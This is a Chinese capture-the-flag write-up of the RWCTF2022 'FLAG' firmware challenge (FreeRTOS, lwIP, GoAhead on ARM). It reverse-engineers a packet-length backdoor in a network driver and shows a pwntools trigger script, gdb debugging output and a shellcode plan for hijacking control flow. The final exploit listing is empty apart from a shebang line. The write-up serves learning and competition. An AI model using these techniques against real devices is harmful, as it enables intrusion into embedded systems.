RWCTF2022 Pwn 笔记2 - FLAG Writeup

简介

这里是复盘 RWCTF2022 中 FLAG 题时所写下的一些笔记。

由于这题较为复杂,因此需要单独开一个博文来记录。

联合作者:sakura

一、FLAG 小叙

1
2
3
4
5
6
7
8
FreeRTOS+LwIP+ARM+GoAhead
I don't want another backdoor ctf. So I have to say: "There is a backdoor in challange"
The default account in attachment is admin:admin
nc 8.210.44.156 31337
attachment

Pwn, difficulty:normal
Hint: flag.bin has a backdoor/bugdoor and you're supposed to take over it. The flag is not embedded in the binary and will be made available to the appliance via network at runtime, see docker-compose.yml in attachment for details.

这一题是多个部件组成的一个二进制文件,其中

  • FreeRTOS:轻量级实时操作系统。
    • 无内核,所有任务运行在实模式,可以执行特权指令
    • 业务逻辑与内核代码一同编译成单个二进制文件,因此无 NX、PIE、ASLR 等。
    • 无保护模式,因此执行 shellcode 后需要保证 OS 不崩溃。
  • LwIP:轻量级 TCP/IP 实现,适用于资源较少的轻量级嵌入式系统
  • ARM:ARM 32 little-endian 架构
  • GoAhead:一个嵌入式微型网页服务

题目给了一些附件,其中有用的主要有:

  • flag.py:docker 服务会在 每30s 向接口 http://localhost:5555/action/backdoor 发送一次 GET 请求,如果:

    • 请求返回 {'status' : 'success'}
    • 请求返回 HTTP 状态码为 200

    flag.py 将会加载 flag 并且以 {"flag": flag} 的形式发送给该 backdoor。

    很明显,我们需要 pwn 掉这个 binary,伪造一个 backdoor 服务、尝试接收传来的 flag 并输出给用户

  • flag.bin:题目的二进制附件,这个暂且略过不表。

  • dockerfile: 其中记录了 qemu 的启动参数:

    1
    2
    3
    4
    5
    6
    7
    qemu-system-arm \
    -m 64 \
    -nographic \
    -machine vexpress-a9 \
    -net user,hostfwd=tcp::5555-:80 \
    -net nic \
    -kernel /mnt/flag.bin

把题目启动之后,访问 localhost:5555,即可访问到题目 Web 服务的登录界面:

image-20220128144627376

接下来输入账号admin、密码admin,进入到一个普通的小游戏页面,看上去没什么特别的,估计不是重点;直接访问 backdoor 接口,返回 404 界面。

如果想退出 QEMU, 则在启动 qemu 的终端里,先键入 ctrl + a,之后抬起这两个键,并接着按下 x 即可退出。

二、FLAG 环境搭建

  • 下载并安装 IDA BinDiff 插件 - download link (ladder needed)

    网上的教程里描述了安装该插件时需要指定 IDA 安装路径,但是本人实测安装时并没有要求指定 IDA 安装路径,但是 IDA 仍然可以识别并加载 BinDiff 插件。

    BinDiff 将用于恢复 GoAhead 符号。

  • 下载多架构 gdb:

    1
    sudo apt-get install gdb-multiarch

    调试 kernel 的方式:

    • 在 qemu 启动参数后加上 -gdb tcp::1234
    • 然后使用 gdb-multiarch 执行 target remote localhost:1234 连接 qemu

三、确定内核加载基地址

如果我们直接把题目内核拖入 IDA 中,IDA 是无法识别的,因此需要确定并指定加载基地址。

基地址的确定本身就是一件比较难的事情,需要逻辑推理+大胆猜测。

我们先将 flag.bin 拖入 32 位 IDA(注意是32位) ,指定 Processor Type 为 ARM Little-endian:

image-20220128162324429

之后对前几条指令执行 make code 操作(快捷键 p 或者 c),会生成一系列的内存地址加载指令:

image-20220128164704594

注意到这几条访问内存地址为 0x6001XXXX 的指令,结合 gdb 调试断下的指令位置为 0x60010658

image-20220128164823570

因此我们可以大胆推断基地址应该为 0x60010000

加载基地址确定好后,就可以为 IDA 重设基地址。

image-20220128151550841

之后 IDA 便可以分析出部分代码等:

image-20220128165114508

接下来还需要全选IDA中的代码+数据,并右键点击 Analyze 进行完整分析,等待它分析完成。

image-20220128175327783

但是这里的分析不会完全的进行分析,因此还需要使用这个 firmware-fix 脚本来进行二次分析,执行自动创建函数体、字符串等操作。(确定了代码区末尾地址为 0x6006F544

注意:该脚本无法区分出不同的段,因此在这一题中效果一般般… 会把一些明显是数据的东西恢复成函数。

感兴趣可以看看源码,不长。

执行完成上面的步骤后,仍然有相当一部分的字符串无法使用交叉引用,暂且先这样。

需要注意的是,IDA 的反编译引擎 Hex-Ray 需要参考 segment 的信息来生成 C 代码(例如RWX权限情况),因此我们最好恢复一下。最简单的方式就是把当前这个 ROM 段权限直接改成 RWX,不过本人根据恢复结果创建了一个 text 段。

image-20220128174408119

四、恢复符号

a. GoAhead 符号

现在我们可以尝试恢复 GoAhead 符号。首先通过字符串搜索 + 交叉引用找到 GoAhead 相关的函数:

注意:如果该函数的反汇编无法直接 F5, 则找到该地址的上一个函数末尾地址,并右键点击 Create Function ,之后再反编译即可。

image-20220128175919035

该函数最后一行有一个字符串说明了 GoAHead 的版本号,为 5.1.5,因此我们可以立即编译一个 5.1.5 的 GoAHead 二进制文件:

这里可以指定使用 arm32 编译器来生成 libgo.so,这样 bindiff 效果会更好。

1
2
3
4
5
git clone https://github.com/embedthis/goahead
cd goahead
git checkout v5.1.5
make
file build/linux-x64-default/bin/libgo.so # 目标文件

将该 libgo.so 目标文件拖到 IDA 里,生成 libgo.idb 数据库文件。之后在开启 flag.bin 的 IDA 中,使用 BinDiff 插件与 libgo.idb 进行比对。

通过简单的对比,发现 Similarity 大于 0.80 的函数基本上和 libgo.so 的反编译结果能对上,因此我们可以尝试恢复这部分函数的符号上去:

注意,BinDiff 可以通过比较基本块关联、反编译代码关联等来进行比较,因此即便用于比较的两个文件是不同架构的,该插件仍然可以比较并输出结果。

下图是我恢复 similarity > 0.40 的操作,注意最好不要像我这么冒险,恢复相似度非常低的函数。

image-20220128181721392

接下来需要恢复 GoAHead 结构体定义:在 libgo.so 的 IDA 界面中,点击 File -> Produce file -> Create C Header File 将一些结构体定义输出至新的头文件中;之后在 flag.bin IDA 界面中,点击 File -> Load file -> Parse C header file 导入该头文件。

b. lwIP 符号

题目在启动时便给了版本号:

1
lwIP-2.1.3 initialized!

首先下拉代码并编译:

1
2
3
4
5
6
7
8
git clone https://git.savannah.nongnu.org/git/lwip.git
cd lwip
git checkout STABLE-2_1_3_RELEASE
cmake -B build .
cd build
# 安装 ARM 编译器
sudo apt-get install gcc-arm-linux-gnueabihf
CC=arm-linux-gnueabihf-gcc make lwipcore lwipallapps

make 时遇到各种头文件缺失问题,首先 down 一个 RTOS 源码下来:

1
2
3
# 在 lwIP 的同级目录下
git clone https://github.com/FreeRTOS/FreeRTOS
git submodule update --init --recursive

之后给 lwIP 打上这个 patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
diff --git a/CMakeLists.txt b/CMakeLists.txt
index f05c0f61..a26752f1 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -14,6 +14,9 @@ set(CPACK_PACKAGE_VERSION_PATCH "${LWIP_VERSION_REVISION}")
set(CPACK_SOURCE_IGNORE_FILES "/build/;${CPACK_SOURCE_IGNORE_FILES};.git")
set(CPACK_SOURCE_PACKAGE_FILE_NAME "lwip-${LWIP_VERSION_MAJOR}.${LWIP_VERSION_MINOR}.${LWIP_VERSION_REVISION}")
include(CPack)
+include_directories ("src/include")
+include_directories ("test/unit")
+include_directories ("../FreeRTOS/FreeRTOS/Demo/CORTEX_A9_Zynq_ZC702/RTOSDemo/src/lwIP_Demo/lwIP_port/include")

# Target for package generation
add_custom_target(dist COMMAND ${CMAKE_MAKE_PROGRAM} package_source)
diff --git a/src/include/lwip/arch.h b/src/include/lwip/arch.h
index 58dae33a..6159082f 100644
--- a/src/include/lwip/arch.h
+++ b/src/include/lwip/arch.h
@@ -126,8 +126,8 @@ typedef uint8_t u8_t;
typedef int8_t s8_t;
typedef uint16_t u16_t;
typedef int16_t s16_t;
-typedef uint32_t u32_t;
-typedef int32_t s32_t;
+// typedef uint32_t u32_t;
+// typedef int32_t s32_t;
#if LWIP_HAVE_INT64
typedef uint64_t u64_t;
typedef int64_t s64_t;
diff --git a/src/include/lwip/sockets.h b/src/include/lwip/sockets.h
index d70d36c4..ac17f302 100644
--- a/src/include/lwip/sockets.h
+++ b/src/include/lwip/sockets.h
@@ -108,7 +108,7 @@ struct sockaddr_storage {
/* If your port already typedef's socklen_t, define SOCKLEN_T_DEFINED
to prevent this code from redefining it. */
#if !defined(socklen_t) && !defined(SOCKLEN_T_DEFINED)
-typedef u32_t socklen_t;
+// typedef u32_t socklen_t;
#endif

#if !defined IOV_MAX
@@ -519,10 +519,10 @@ struct pollfd
#endif

#if LWIP_TIMEVAL_PRIVATE
-struct timeval {
- long tv_sec; /* seconds */
- long tv_usec; /* and microseconds */
-};
+// struct timeval {
+// long tv_sec; /* seconds */
+// long tv_usec; /* and microseconds */
+// };
#endif /* LWIP_TIMEVAL_PRIVATE */

#define lwip_socket_init() /* Compatibility define, no init needed. */

之后重新执行上述的编译操作即可。

但是这样编译出来的竟然是静态链接库,没法拖到 IDA 里分析,因此还需要修改一下 CMakeList 中的东西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
diff --git a/src/Filelists.cmake b/src/Filelists.cmake
index 21d7b490..179f5716 100644
--- a/src/Filelists.cmake
+++ b/src/Filelists.cmake
@@ -268,12 +268,12 @@ else (DOXYGEN_FOUND)
endif (DOXYGEN_FOUND)

# lwIP libraries
-add_library(lwipcore EXCLUDE_FROM_ALL ${lwipnoapps_SRCS})
+add_library(lwipcore SHARED ${lwipnoapps_SRCS})
target_compile_options(lwipcore PRIVATE ${LWIP_COMPILER_FLAGS})
target_compile_definitions(lwipcore PRIVATE ${LWIP_DEFINITIONS} ${LWIP_MBEDTLS_DEFINITIONS})
target_include_directories(lwipcore PRIVATE ${LWIP_INCLUDE_DIRS} ${LWIP_MBEDTLS_INCLUDE_DIRS})

-add_library(lwipallapps EXCLUDE_FROM_ALL ${lwipallapps_SRCS})
+add_library(lwipallapps SHARED ${lwipallapps_SRCS})
target_compile_options(lwipallapps PRIVATE ${LWIP_COMPILER_FLAGS})
target_compile_definitions(lwipallapps PRIVATE ${LWIP_DEFINITIONS} ${LWIP_MBEDTLS_DEFINITIONS})
target_include_directories(lwipallapps PRIVATE ${LWIP_INCLUDE_DIRS} ${LWIP_MBEDTLS_INCLUDE_DIRS})

然后编译报错,提示 :

1
/usr/bin/ld: errno: TLS definition in /lib/x86_64-linux-gnu/libc.so.6 section .tbss mismatches non-TLS reference in CMakeFiles/lwipcore.dir/src/api/if_api.c.o

将某个头文件中的 extern errno 替换掉即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/include/lwip/errno.h b/src/include/lwip/errno.h
index 48d6b539..acd7817f 100644
--- a/src/include/lwip/errno.h
+++ b/src/include/lwip/errno.h
@@ -174,7 +174,8 @@ extern "C" {
#define EMEDIUMTYPE 124 /* Wrong medium type */

#ifndef errno
-extern int errno;
+// extern int errno;
+#include <errno.h>
#endif

#else /* LWIP_PROVIDE_ERRNO */

成功编译出 .so 动态链接库。之后照着上面的步骤恢复符号即可。

后来才发现,这里恢复 lwIP 符号的操作并没有什么用处,纯当是踩坑记录了。

五、漏洞思路

接下来可以看看字符串表中有哪些有用的信息:

image-20220128195501667

看上去都很有趣,但是都找不到交叉引用(恢复的还是不够好)。

不过可以通过全局搜索字符串的地址来找到引用的地方。

image-20220128202705045

继续向上交叉引用,找到该函数,可以看到注册了一个 submit 动作,其事件处理例程就是上一个找到的函数。继续交叉引用发现除了注册了 submit 动作以外,还注册了 login 和 logout 动作,不过这两个动作看上去用处不大,暂且忽略不看。

image-20220128211258805

那如何调用这个 submit 呢?通过字符串搜索可以得出 /web/submit.jst 这个路由路径,因此我们可以通过访问 http://localhost:5555/submit.jst URL 来进入这个页面:

image-20220128211958598

通过先前的逆向过程和网络抓包可以得知,GoAHead 会使用到 Session 技术。因此若我们在该界面提交一串数据后,当我们下一次再访问这个界面,则先前提交的数据将仍然会显示在这里

submit 接口暂时告一段落。根据打题的师傅所说,GoAHead 除了增加 submit 功能以外,其余部分基本没动过。根据我进一步所查询的资料,backdoor 应该是位于 RT-thread(一个国产 RTOS) 中 lwIP模块 的 smc911x 驱动中…

沉思,这个 backdoor 其他师傅们是怎么找出来的…

这里直接开天眼,backdoor 位于地址 0x6001B024 中(smc911x_eth_rx 函数,用于接收数据包),以下是 IDA 反编译+自己简单恢复符号后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __fastcall smc911x_emac_rx_backdoor(int a1)
{
int *v1; // r4
char v4[64]; // [sp+Ch] [bp-70h] BYREF
int v5[2]; // [sp+4Ch] [bp-30h] BYREF
int *v6; // [sp+54h] [bp-28h]
int pktlen; // [sp+58h] [bp-24h]
int status; // [sp+5Ch] [bp-20h]
int v9; // [sp+60h] [bp-1Ch]
int *data; // [sp+64h] [bp-18h]
unsigned int v11; // [sp+68h] [bp-14h]
int v12; // [sp+6Ch] [bp-10h]

v12 = 0;
v9 = a1;
if ( !a1 )
rt_assert_handler(byte_600704AC, 0);
if ( (unsigned __int8)((unsigned int)smc911x_reg_read(v9, 124) >> 16) )
{
status = smc911x_reg_read(v9, 64);
pktlen = HIWORD(status) & 0x3FFF;
smc911x_reg_write(v9, 0x6C, 0);
v11 = (unsigned int)(pktlen + 3) >> 2;
v12 = pbuf_alloc(0, 4 * v11, 0x280u);
if ( v12 )
{
data = *(int **)(v12 + 4);
while ( v11-- )
{
v1 = data++;
*v1 = smc911x_reg_read(v9, 0);
}
}
if ( (status & 0x8000) != 0 )
rt_kprintf("EMAC: dropped bad packet. Status: 0x%08x\n", status);
v5[0] = dword_60079E78 + 0x16D6DD4; // backdoor
v5[1] = dword_60079E7C + 0xC25FBB;
v6 = v5;
if ( pktlen == (unsigned __int8)(dword_60079E78 - 0x2C) )// 0x62
{
backdoor_time = time(0);
backdoor_cnt = 1;
}
else if ( pktlen == *((unsigned __int8 *)v6 + backdoor_cnt) && time(0) - backdoor_time <= 4 )
{
++backdoor_cnt;
}
if ( backdoor_cnt == 8 && pktlen == 0x202 && v12 )
diy_memcpy((int)v4, *(_DWORD *)(v12 + 4), pktlen);
}
return v12;
}

而这是该函数的源码(注意函数版本不同,会带来一些差异):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* reception packet. */
struct pbuf *smc911x_emac_rx(rt_device_t dev)
{
struct pbuf *p = RT_NULL;
struct eth_device_smc911x *emac;

emac = SMC911X_EMAC_DEVICE(dev);
RT_ASSERT(emac != RT_NULL);

/* take the emac buffer to the pbuf */
if (LAN9118_RX_FIFO_INF_RXSUSED(smc911x_reg_read(emac, LAN9118_RX_FIFO_INF)))
{
uint32_t status;
uint32_t pktlen, tmplen;

status = smc911x_reg_read(emac, LAN9118_RXSFIFOP);

/* get frame length */
pktlen = (status & LAN9118_RX_STS_PKT_LEN) >> 16;

smc911x_reg_write(emac, LAN9118_RX_CFG, 0);

tmplen = (pktlen + 3) / 4;

/* allocate pbuf */
p = pbuf_alloc(PBUF_RAW, tmplen * 4, PBUF_RAM);
if (p)
{
uint32_t *data = (uint32_t *)p->payload;
while (tmplen--)
{
*data++ = smc911x_reg_read(emac, LAN9118_RXDFIFOP);
}
}

if (status & LAN9118_RXS_ES)
{
rt_kprintf(DRIVERNAME ": dropped bad packet. Status: 0x%08x\n", status);
}
}

return p;
}

对照可以得出,backdoor 触发条件如下:

  • 发送 8个 payload 数据包,其长度与某个特定数组中的对应 uchar 型数据(即 backdoor 字符串)相等
  • 整个触发 backdoor 的时间必须在 5s 内完成
  • 当 backdoor 计数器为 8 且下一个发送的那个 payload 数据包长度为 0x202

这样就可以触发一个向 0x64 大小的数组覆写 0x202 大小数据的缓冲区溢出漏洞。

由于该题没有 NX、PIE、ASLR 等保护,因此我们可以通过缓冲区溢出来劫持控制流,执行我们的 shellcode,然后一定要在 shellcode 执行完成后恢复函数的栈数据等,并跳转回之前的函数

实时操作系统没有内核的概念,因此如果运行时环境被破坏,控制流无法继续执行,则整个操作系统将立即重启/终止,无法继续执行。

这里,我们需要精心设计 shellcode,这里列出两种解法:

  • 手动注册一个 action/backdoor 对应的事件处理例程路由,将传入的 flag 直接复制至别的文件数据(例如 /path/to/file1)中,这样当 health checker 将 flag 传给 action/backdoor 时,我们便可以通过访问 /path/to/file1 直接获取到 flag。

  • patch 掉错误界面的显示,使其一直显示 {"status" : "success"} 和返回 HTTP200 状态码。之后 patch 错误界面显示相关的代码,使其引用存在题目内存中的 flag,这样当我们下一次访问错误界面时,即可读取到内存中的 flag 并将其返回给网页前端。

六、漏洞利用

a. 触发 backdoor

这里选择第一种方法(挑战一下),手动注册 action/backdoor 的事件处理例程和路由。

通过动态调试得知:

  • 数据包的 metadata 长度为 0x3a,因此我们在发送数据时需要减去该长度。
  • 发送数据包时,一定要间隔发送。否则多个数据包可能会因为网络问题乱序到达,无法通过 backdoor check。
  • 程序可能会多次接受其它不来自于攻击者的数据包(长度0x3e左右,来源未知),因此在调试时需要过滤掉这种情况。

根据上面的分析,我们可以编写出以下的代码来触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#! python3
from pwn import *
context(
os='linux',
arch='arm',
bits=32,
encoding='latin',
log_level="debug"
)

def send_packet(packet_len, data=b''):
p = remote("127.0.0.1", 5555)
remain_len = packet_len - len(data)
assert remain_len >= 0
p.send(data + b"_" * remain_len)
p.close()
time.sleep(0.2)

if __name__ == '__main__':
for ch in "backdoor": # \x62 \x61 \x63 \x6b \x64 \x6f \x6f \x72
send_packet(ord(ch) - 0x3a)
send_packet(0x202 - 0x3a)

还记得漏洞触发必须在 4s 内完成,因此编写了该 gdb script 辅助调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
target remote localhost:1234
b *0x6001b1b4
commands
if $r3 > 0x60
printf "packet len = 0x%x\n", $r3
end
continue
end

b* 0x6001B1BC
commands
printf "backdoor_cnt = 0\n"
continue
end

b* 0x6001B250
commands
printf "backdoor_cnt = %d\n", $r2
continue
end

b* 0x6001B298
commands
printf "backdoor_memcpy called\n"
tb *0x6001b2a8
# continue
end

b* 0x600101E4
commands
printf "submit handler called\n"
printf "Webs* wp = 0x%x\n", $r0
continue
end

b* 0x60010208
commands
printf "submit handler websGetVar called\n"
continue
end

# b* 0x60d9c5e8 shellcode ret
# b* 0x60d9c5ec handler address

c

执行效果如下,可以看到成功栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x62

Breakpoint 2, 0x6001b1bc in ?? ()
backdoor_cnt = 1

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x61

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 2

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x63

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 3

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x6b

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 4

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x64

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 5

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x6f

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 6

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x6f

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 7

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x72

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 8

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x202

Breakpoint 4, 0x6001b298 in ?? ()
backdoor_memcpy called

并将机器打崩:

image-20220129164005728

打崩后,先按下 ctrl + a,松手再按下 x 以关闭 QEMU 。

重新调试回到栈溢出的函数调用位置。注意调用函数时,函数传参分别是 R0、R1、R2

b. 栈溢出与 shellcode 上传

之后我们需要将当前栈上的数据 dump 下来,并在栈溢出时完整的覆盖回去,保证栈数据的完整性。因为覆盖长度为 0x202,一定会覆盖到下面的栈帧,因此务必恢复,否则可能会导致 crash。

image-20220129172718822

需要注意的是,栈溢出能给自己写 shellcode 的空间很有限,只有大约 0x20,因此我们必须用其他方式来上传自己的 shellcode,然后在栈溢出这里只修改返回值来达到跳转执行的目的。

而上传 shellcode 可以用之前 GoAHead 扩展的 submit 方法,动态调试可以得知存放 submit message 的内存地址。

但是,栈溢出跳转时,跳转的 shellcode 地址不是这个 v4,因为当栈溢出时,v4 这块内存已经被覆写了:

image-20220129215935617

那该如何获取到 shellcode 的地址呢?我们可以在 shellcode 前增加一些字符串,例如 “ShellcodeHeader”,然后使用 gdb 命令 find 全局搜索内存来找到 shellcode 地址:

1
2
find 0x60000000, +0x4000000, 'S','h','e','l','l','c','o','d','e'
# 不使用 find xxx, +xxx, "Shellcode" 是因为这会匹配末尾的 \0

查询结果如下。注意下面的 shellcode 被 URL 转码了(这就是另外的问题了):

image-20220130164148119

或者逆向 websSetSessionVar 函数,找到复制出的字符串地址也是可以的。

还有一点,将 shellcode 进行 submit 操作之前,一定要对当前会话进行 login 操作,否则内存中将无法搜索到 shellcode。

c. shellcode 的作用

shellcode 要做的事情主要有两件:

  • 执行 websDefineAction("backdoor", backdoor_handler)注册处理例程。其中 :

    1
    websDefineAction address: 0x6004D28C

    “backdoor” 字符串无需持久化,因为该字符串会在执行 websDefineAction 时被拷贝进哈希表中。

    但 backdoor_handler 需要持久化,因此务必将其拷贝至一个稳定的地方(例如文件系统中,这里我选择将 handler shellcode 复制进 /login_err.html + 0x200 的位置,即 0x606D3aD0)

    backdoor handler 需要做的事情有几件:

    • 将 checker 可能传入的 flag 复制至 404 界面。

    • 返回一个 200 {“status”:“success”} 界面

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    static void backdoor_handler(Webs *wp)
    {
    const char* key = "flag";
    const char* page = "{\"status\" : \"success\"}"
    // 给第三个参数传参 key 是为了避免在找不到值的情况下返回 NULL,便于编写 shellcode
    char* name = websGetVar(wp, key, key); // websGetVar:0x600577C4
    // 将 flag 输出
    rt_printf(name);
    // send page
    websSetStatus(wp, 200); // websSetStatus: 0x600588C4
    websWriteHeaders(wp, -1, 0); // websWriteHeaders: 0x6005891C
    websWriteEndHeaders(wp); // websWriteEndHeaders: 0x60058D30
    websWrite(wp, page); // websWrite: 0x60058E2C
    websDone(wp); // websDone: 0x6005496C
    }

    这里返回 200 OK 数据的写法,主要参考 goahead/blob/master/test/test.c#L327 的写法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    /*
    Implement /action/actionTest. Parse the form variables: name, address and echo back.
    */
    static void actionTest(Webs *wp)
    {
    cchar *name, *address;

    name = websGetVar(wp, "name", NULL);
    address = websGetVar(wp, "address", NULL);
    websSetStatus(wp, 200);
    websWriteHeaders(wp, -1, 0);
    websWriteEndHeaders(wp);
    websWrite(wp, "<html><body><h2>name: %s, address: %s</h2></body></html>\n", name, address);
    websFlush(wp, 0);
    websDone(wp);
    }
  • 执行 websAddRoute("/action/backdoor", "action", 0)重新注册路由表。

    1
    websAddRoute() addr: 0x600636A0

    注意第三个参数为 0,由于路由表是以数组形式顺序访问,因此将 pos 设置为 0 可以将目标路由放至第一个

    踩过的坑:先前重新注册路由表,是打算先覆写 route.txt,再执行 websLoad("route.txt")。但是后来阅读源码,发现这样做太过于麻烦:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    /*
    Load route and authentication configuration files
    */
    PUBLIC int websLoad(cchar *path)
    {
    ...

    for (line = stok(buf, "\r\n", &token); line; line = stok(NULL, "\r\n", &token)) {
    kind = stok(line, " \t", &next);
    ...
    if (smatch(kind, "route")) {
    auth = dir = handler = protocol = uri = 0;
    abilities = extensions = methods = redirects = -1;
    while ((option = stok(NULL, " \t\r\n", &next)) != 0) {
    key = stok(option, "=", &value);
    if ...
    } else if (smatch(key, "handler")) {
    handler = value;
    } else if (smatch(key, "methods")) {
    addOption(&methods, value, 0);
    } else if (smatch(key, "redirect")) {
    if (strchr(value, '@')) {
    status = stok(value, "@", &redirectUri);
    if (smatch(status, "*")) {
    status = "0";
    }
    } else {
    status = "0";
    redirectUri = value;
    }
    ...
    } ...
    } else if (smatch(key, "uri")) {
    uri = value;
    } else {
    error("Bad route keyword %s", key);
    continue;
    }
    }
    if ((route = websAddRoute(uri, handler, -1)) == 0) {
    rc = -1;
    break;
    }
    websSetRouteMatch(route, dir, protocol, methods, extensions, abilities, redirects);
    #if ME_GOAHEAD_AUTH
    if (auth && websSetRouteAuth(route, auth) < 0) {
    rc = -1;
    break;
    }
    } ...
    }
    ...
    return rc;
    }

    通读源码可以看到,我们只需执行 websAddRoute("/action/backdoor", "action", 0) ,即可成功将 backdoor 路由注册进路由表中。而且还可以指定第三个参数,将 backdoor 路由放置进路由表的最前端。

    默认情况下 route 的其他字段为 -1,因此 route 中的 dir、protocol、methods 等不会参与路由匹配。所以下面那个 websSetRouteMatch 函数我们可以不用手动执行。

d. 遇到的其他坑点

继续写 exp 时遇到了一些问题:

  • submit 的 shellcode 会被 GoAHead 进行 URL 编码:

    image-20220130113744939

    因此在发送 submit 请求时,需要加上 HTTP header 显式告知 GoAHead 无需编码:

    1
    "Content-Type":"application/x-www-form-urlencoded"

    需要注意的是,既然都标上这个了,发送的 data 就不能是 json 了(即不能发送 {'word': shellcode}),因为这还是会让远程忽略该 header 进行 URL 编码。

  • pwntools 编码 shellcode 时报错:pwnlib.exception.PwnlibException: Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, encoding = 'latin', endian = 'little', log_level = 10, os = 'linux')

    这是因为我的机器上没有安装 ARM 编译相关的环境等等,执行以下命令安装即可:

    1
    sudo apt-get install binutils-arm-linux-gnueabi
  • gdb pwndbg 中, p/x $fp 显示的是 $sp 的值,但实际上 $fp$r11 是同一个寄存器,有点奇怪,可能是 gdb bug。

  • 若出现以下情况,则需要重启 linux(重启 qemu 已经没用了),或者直接进 docker 中调试:

    • gdb find 出来的 shellcode 地址不固定

    • 每次执行时栈溢出所在栈上数据,有好几个指针的值每次都不同

      根据本人调试,每次栈上数据最多只会有一个非指针值发生改变,并且不影响程序执行。

e. 本地 exploit

没试过远程,因为远程关了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#! python3
